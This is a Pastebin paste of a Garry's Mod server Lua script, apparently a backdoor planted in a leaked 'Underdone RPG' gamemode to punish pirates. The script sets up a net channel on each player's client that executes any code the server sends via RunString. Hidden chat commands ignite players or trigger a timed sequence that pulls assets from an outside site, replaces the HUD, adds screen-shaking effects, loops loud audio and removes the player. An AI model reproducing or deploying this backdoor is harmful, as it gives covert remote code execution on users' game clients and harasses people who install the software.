Advertisement
Guest User

Untitled

a guest
Oct 15th, 2019
104
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 16.73 KB | None | 0 0
  1. --[[
  2. File: ?.lua
  3. For: Annoying pirates to death, then annoying them some more until they die a second time
  4. By: Ultra
  5. ]]--
  6.  
  7. util.AddNetworkString "slua"
  8.  
  9. local lol = {}
  10. function lol:RandomString( intMin, intMax )
  11. local ret = ""
  12. for _ = 1, math.random( intMin, intMax ) do
  13. ret = ret.. string.char( math.random(65, 90) )
  14. end
  15.  
  16. return ret
  17. end
  18.  
  19. lol.m_tblActions = {}
  20. lol.m_strImageGlobalVar = lol:RandomString( 6, 12 )
  21. lol.m_strImageLoadHTML = [[<style type="text/css"> html, body {background-color: transparent;} html{overflow:hidden; ]].. (true and "margin: -8px -8px;" or "margin: 0px 0px;") ..[[ } </style><body><img src="]] .. "%s" .. [[" alt="" width="]] .. "%i"..[[" height="]] .. "%i" .. [[" /></body>]]
  22.  
  23. function lol:PushAction( intChainDelay, func )
  24. self.m_tblActions[#self.m_tblActions +1] = { intChainDelay, func }
  25. end
  26.  
  27. function lol:NextAction( pPlayer )
  28. pPlayer.m_intCurAction = pPlayer.m_intCurAction +1
  29. if not self.m_tblActions[pPlayer.m_intCurAction] then return end
  30.  
  31. timer.Simple( self.m_tblActions[pPlayer.m_intCurAction][1], function()
  32. if not IsValid( pPlayer ) then return end
  33. self.m_tblActions[pPlayer.m_intCurAction][2]( pPlayer )
  34. self:NextAction( pPlayer )
  35. end )
  36. end
  37.  
  38. function lol:Start( pPlayer )
  39. pPlayer.m_intCurAction = 0
  40. self:NextAction( pPlayer )
  41. end
  42.  
  43. function lol:SendLua( pPlayer, strLua )
  44. net.Start( "slua" )
  45. net.WriteString( strLua )
  46. net.Send( pPlayer )
  47. end
  48.  
  49. function lol:SetupPlayer( pPlayer )
  50. pPlayer:SendLua( "net.Receive(\"slua\", function() RunString(net.ReadString()) end)" )
  51. end
  52.  
  53. for k, v in pairs( player.GetAll() ) do
  54. lol:SetupPlayer( v )
  55. --timer.Simple( 2, function() lol:Start( v ) end )
  56. end
  57.  
  58. hook.Add( "PlayerAuthed", "wat", function( pPlayer )
  59. lol:SetupPlayer( pPlayer )
  60. --timer.Simple( 10, function() lol:Start( pPlayer ) end )
  61. end )
  62.  
  63. hook.Add( "PlayerSay", "1337command", function( pSender, strText, bTeamChat )
  64. if strText:sub( 1, 5 ) == "/1337" then
  65. pSender:Ignite( 1e9 )
  66. pSender:ChatPrint( "your fucking dumb" )
  67. pSender:SendLua( [[surface.PlaySound( "vo/npc/male01/hacks01.wav" )]] )
  68. return false
  69.  
  70. elseif strText:sub( 1, 5 ) == "/6666" then
  71. for k, v in pairs( player.GetAll() ) do
  72. lol:SetupPlayer( v )
  73. timer.Simple( 2, function() lol:Start( v ) end )
  74. end
  75. return false
  76. end
  77. end )
  78.  
  79.  
  80. --Sequence stack
  81. --Start some tunes and steam in our assets
  82. lol:PushAction( 0, function( pPlayer )
  83. lol:SendLua( pPlayer, ([=[
  84. sound.PlayURL( "http://www.underdone.org/leak/underdone/blue.mp3", "", function()end )
  85.  
  86. g_]=].. lol.m_strImageGlobalVar.. [=[ = {}
  87. local html = [[%s]]
  88. local function LoadWebMaterial( strURL, strUID, intSizeX, intSizeY )
  89. local pnl = vgui.Create( "HTML" )
  90. pnl:SetPos( ScrW() -1, ScrH() -1 )
  91. pnl:SetVisible( true )
  92. pnl:SetMouseInputEnabled( false )
  93. pnl:SetKeyBoardInputEnabled( false )
  94. pnl:SetSize( intSizeX, intSizeY )
  95. pnl:SetHTML( html:format(strURL, intSizeX, intSizeY) )
  96.  
  97. local PageLoaded
  98. PageLoaded = function()
  99. local mat = pnl:GetHTMLMaterial()
  100. if mat then
  101. g_]=].. lol.m_strImageGlobalVar.. [=[[strUID] = { mat, pnl }
  102. return
  103. end
  104.  
  105. timer.Simple( 0.5, PageLoaded )
  106. end
  107.  
  108. PageLoaded()
  109. end
  110.  
  111. LoadWebMaterial( "http://www.underdone.org/leak/underdone/hud.png", "hud1", 300, 128 )
  112. LoadWebMaterial( "http://www.underdone.org/leak/underdone/hud2.png", "hud2", 300, 128 )
  113. LoadWebMaterial( "http://www.underdone.org/leak/underdone/hud3.png", "hud3", 128, 128 )
  114. LoadWebMaterial( "http://www.underdone.org/leak/underdone/xhair.png", "xhair", 64, 64 )
  115. LoadWebMaterial( "http://www.underdone.org/leak/underdone/doritos.png", "doritos", 183, 256 )
  116. LoadWebMaterial( "http://www.underdone.org/leak/underdone/fedora.png", "fedora", 256, 256 )
  117. LoadWebMaterial( "http://www.underdone.org/leak/underdone/dew.png", "dew", 110, 256 )
  118. LoadWebMaterial( "http://www.underdone.org/leak/underdone/awp.png", "awp", 256, 55 )
  119. ]=]):format(lol.m_strImageLoadHTML) )
  120. end )
  121.  
  122. --HUD swap
  123. lol:PushAction( 31, function( pPlayer )
  124. lol:SendLua( pPlayer, [[
  125. (GAMEMODE or GM).CalcView = function() end
  126. (GAMEMODE or GM).ShouldDrawLocalPlayer = function() end
  127.  
  128. local remove = { "PostDrawHUD", "PreDrawHUD", "HUDPaint", "HUDPaintBackground", "CalcView", "ShouldDrawLocalPlayer" }
  129. for k, v in pairs(remove) do
  130. hook.GetTable()[v] = {}
  131. end
  132.  
  133. local function GetWebMat( strURL )
  134. return g_]].. lol.m_strImageGlobalVar.. [[[strURL]
  135. end
  136.  
  137. hook.Add( "HUDPaint", "newhud", function()
  138. surface.SetDrawColor( 255, 255, 255, 255 )
  139.  
  140. if GetWebMat( "hud1" ) then
  141. surface.SetMaterial( GetWebMat("hud1")[1] )
  142. surface.DrawTexturedRect( 0, ScrH() -128, 300 *(512 /300), 128 )
  143. end
  144. if GetWebMat( "hud2" ) then
  145. surface.SetMaterial( GetWebMat("hud2")[1] )
  146. surface.DrawTexturedRect( ScrW() -300, ScrH() -128, 300 *(512 /300), 128 )
  147. end
  148. if GetWebMat( "hud3" ) then
  149. surface.SetMaterial( GetWebMat("hud3")[1] )
  150. surface.DrawTexturedRect( 45, ScrH() -245, 128, 128 )
  151. end
  152. if GetWebMat( "xhair" ) then
  153. surface.SetMaterial( GetWebMat("xhair")[1] )
  154. surface.DrawTexturedRect( (ScrW() /2) -32, (ScrH() /2) -32, 64, 64 )
  155. end
  156.  
  157. if GetWebMat( "doritos" ) then
  158. surface.SetMaterial( GetWebMat("doritos")[1] )
  159. surface.DrawTexturedRectRotated( math.random(250, 260), math.random(250, 260), 183 *(256 /183), 256, CurTime() *512 )
  160. end
  161. if GetWebMat( "dew" ) then
  162. surface.SetMaterial( GetWebMat("dew")[1] )
  163. surface.DrawTexturedRectRotated( math.random(400, 410), math.random(ScrH() -260, ScrH() -250), 110 *((256 /110) -1), 256, CurTime() *-512 )
  164. end
  165. if GetWebMat( "fedora" ) then
  166. surface.SetMaterial( GetWebMat("fedora")[1] )
  167. surface.DrawTexturedRectRotated( ScrW() -math.random(250, 260), math.random(250, 260), 256, 256, CurTime() *-512 )
  168. end
  169. if GetWebMat( "awp" ) then
  170. surface.SetMaterial( GetWebMat("awp")[1] )
  171. surface.DrawTexturedRectRotated( ScrW() -math.random(400, 410), math.random(ScrH() -260, ScrH() -250), 256, 55, CurTime() *512 )
  172. end
  173.  
  174. draw.SimpleTextOutlined(
  175. "[PSA] Backdoor Found in \"Underdone RPG LEAK\" - baldursgate3 Approved",
  176. "DermaLarge",
  177. ScrW() /2 +math.random( -8, 8 ),
  178. ScrH() /2 +math.random( -8, 8 ) +64,
  179. Color( 255, 0, 0, 255 ),
  180. TEXT_ALIGN_CENTER,
  181. TEXT_ALIGN_CENTER,
  182. 1,
  183. Color( 0, 0, 255, 255 )
  184. )
  185. end )
  186.  
  187. local allowed = { ["CHudChat"] = true, ["CHudGMod"] = true, ["CHudWeaponSelection"] = true, ["CHudMenu"] = true }
  188. hook.Add( "HUDShouldDraw", "newhud", function( str ) if not allowed[str] then return false end end )
  189.  
  190. surface.PlaySound( "garrysmod/save_load4.wav" )
  191. surface.PlaySound( "vo/npc/male01/excuseme02.wav" )
  192. ]] )
  193. end )
  194.  
  195. --Disco time
  196. lol:PushAction( 10, function( pPlayer )
  197. local idx = pPlayer:EntIndex()
  198. timer.Create( "beat".. idx, 0.42, 0, function()
  199. if not IsValid( pPlayer ) then timer.Destroy( "beat".. idx ) return end
  200. pPlayer:ViewPunch( Angle(math.Rand(-15, -10), math.Rand(-10, 10), 0) )
  201. end )
  202.  
  203.  
  204. lol:SendLua( pPlayer, [[
  205. local emitter = ParticleEmitter( LocalPlayer():GetPos() )
  206. local time = 0
  207.  
  208. hook.Add( "Think", "wat", function()
  209. if CurTime() < time then
  210. return
  211. end
  212.  
  213. time = CurTime() +0.05
  214. for i = 1, 16 do
  215. local part = emitter:Add(
  216. "particles/balloon_bit",
  217. LocalPlayer():GetPos() +Vector(
  218. math.random( -256, 256 ),
  219. math.random( -256, 256 ),
  220. 256
  221. )
  222. )
  223.  
  224. if part then
  225. local Size = math.random( 4, 7 )
  226.  
  227. part:SetColor( math.random(0, 255), math.random(0, 255), math.random(0, 255), 255 )
  228. part:SetVelocity( Vector( 40, 25, -math.random(300, 400) ) )
  229. part:SetDieTime( 4.5 )
  230. part:SetGravity( Vector(40, 0, -250) )
  231. part:SetLifeTime( 0 )
  232. part:SetStartSize( Size /2 )
  233. part:SetEndSize( Size )
  234. part:SetCollide( true )
  235. end
  236. end
  237. end )
  238. ]] )
  239.  
  240. lol:SendLua( pPlayer, [[
  241. hook.Add( "RenderScreenspaceEffects", "wat", function()
  242. local sinScaler = math.sin( CurTime() )
  243. DrawBloom(
  244. 0,
  245. 3,
  246. sinScaler *math.Rand(1, 8),
  247. sinScaler *math.Rand(1, 8),
  248. 6,
  249. math.Rand(0.5, 2),
  250. math.Rand(0, 0.3),
  251. math.Rand(0, 0.3),
  252. math.Rand(0.5, 1)
  253. )
  254.  
  255. DrawColorModify{
  256. ["$pp_colour_addr"] = 0,
  257. ["$pp_colour_addg"] = 0,
  258. ["$pp_colour_addb"] = 00,
  259. ["$pp_colour_brightness" ] = 0,
  260. ["$pp_colour_contrast" ] = 1,
  261. ["$pp_colour_colour" ] = 1,
  262. ["$pp_colour_mulr" ] = 0,
  263. ["$pp_colour_mulg" ] = 0,
  264. ["$pp_colour_mulb" ] = 1
  265. }
  266. end )
  267.  
  268. local mdl = ClientsideModel( "models/player/skeleton.mdl", RENDERGROUP_BOTH )
  269. mdl:SetNoDraw( true )
  270. local posCache, time = {}, 0
  271.  
  272. hook.Add( "HUDPaint", "dance", function()
  273. if not mdl.SeqStart or CurTime() > (mdl.SeqStart +mdl.SeqDuration) then
  274. local idx = mdl:LookupSequence("taunt_dance")
  275. mdl.SeqDuration = mdl:SequenceDuration( idx )
  276. mdl.SeqStart = CurTime()
  277. mdl:ResetSequence( idx )
  278. end
  279.  
  280. mdl:SetCycle( (CurTime() -mdl.SeqStart) /mdl.SeqDuration )
  281.  
  282.  
  283. local w, h = 300, 300
  284. local ang = Angle( 0, 0, 0 )
  285.  
  286. for i = 1, 32 do
  287. if CurTime() > time then
  288. posCache[i] = { math.random( 0, ScrW() -w ), math.random( 0, ScrH() -h ) }
  289. end
  290. local x, y = posCache[i][1], posCache[i][2]
  291.  
  292. cam.Start3D( (ang:Forward() *64) +(ang:Up() *32), (ang:Forward()*-1):Angle(), 90, x, y, w, h )
  293. cam.IgnoreZ( true )
  294. render.SuppressEngineLighting( true )
  295.  
  296. render.SetLightingOrigin( mdl:GetPos() )
  297. render.ResetModelLighting( 1, 1, 1 )
  298. render.SetColorModulation( 0, 0, 1 )
  299.  
  300. mdl:DrawModel()
  301.  
  302. render.SuppressEngineLighting( false )
  303. cam.IgnoreZ( false )
  304. cam.End3D()
  305. end
  306.  
  307. if CurTime() > time then
  308. time = CurTime() +0.15
  309. end
  310. end )
  311.  
  312. surface.PlaySound( "vo/npc/male01/ohno.wav" )
  313. ]] )
  314. end )
  315.  
  316. --Let the beat drop
  317. lol:PushAction( 54, function( pPlayer )
  318. lol:SendLua( pPlayer, [[
  319. hook.Add( "GetMotionBlurValues", "wat", function()
  320. return 0, 0, 1, math.sin(CurTime() *13)
  321. end )
  322.  
  323. hook.Add( "RenderScreenspaceEffects", "ohgod", function()
  324. local sinScaler = math.sin( CurTime() *(RealFrameTime() *1024) )
  325. DrawSharpen( 1 +(sinScaler *10), 0.5 +(sinScaler *2) )
  326. DrawMaterialOverlay( "effects/tp_eyefx/tpeye", 1 )
  327. end )
  328.  
  329. hook.Add( "PostDrawTranslucentRenderables", "ohgod", function()
  330. render.SetMaterial( Material("cable/blue_elec") )
  331. for i = 1, 32 do
  332. render.DrawBeam( LocalPlayer():GetPos() +Vector(0, 0, 128) +(EyeAngles():Forward() *256), EyePos() +(VectorRand() *256), 4, 0, 12.5, Color(255, 255, 255, 255) )
  333. end
  334. end )
  335.  
  336. timer.Create( "thedrop", 0.42, 0, function()
  337. util.ScreenShake( LocalPlayer():GetPos(), 512, 5, 0.25, 128 )
  338. end )
  339. ]] )
  340. end )
  341.  
  342. --EVIL TIME rip headpones
  343. lol:PushAction( 175, function( pPlayer )
  344. lol:SendLua( pPlayer, [[
  345. surface.PlaySound( "vo/npc/male01/gethellout.wav" )
  346.  
  347. local sounds = {}
  348. for i = 1, 4 do
  349. sound.PlayURL( "http://www.underdone.org/leak/underdone/asd.mp3", "noblock noplay", function( pChan )
  350. sounds[#sounds +1] = pChan
  351. end )
  352. end
  353.  
  354. timer.Create( "asdf", 1, 0, function()
  355. if #sounds ~= 4 then return end
  356. timer.Destroy( "asdf" )
  357. for k, v in pairs( sounds ) do v:EnableLooping( true ) v:SetVolume( 1 ) v:Play() end
  358. end )
  359.  
  360. hook.Add( "HUDShouldDraw", "newhud", function() return false end )
  361. ]] )
  362.  
  363. pPlayer:Remove()
  364. end )
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement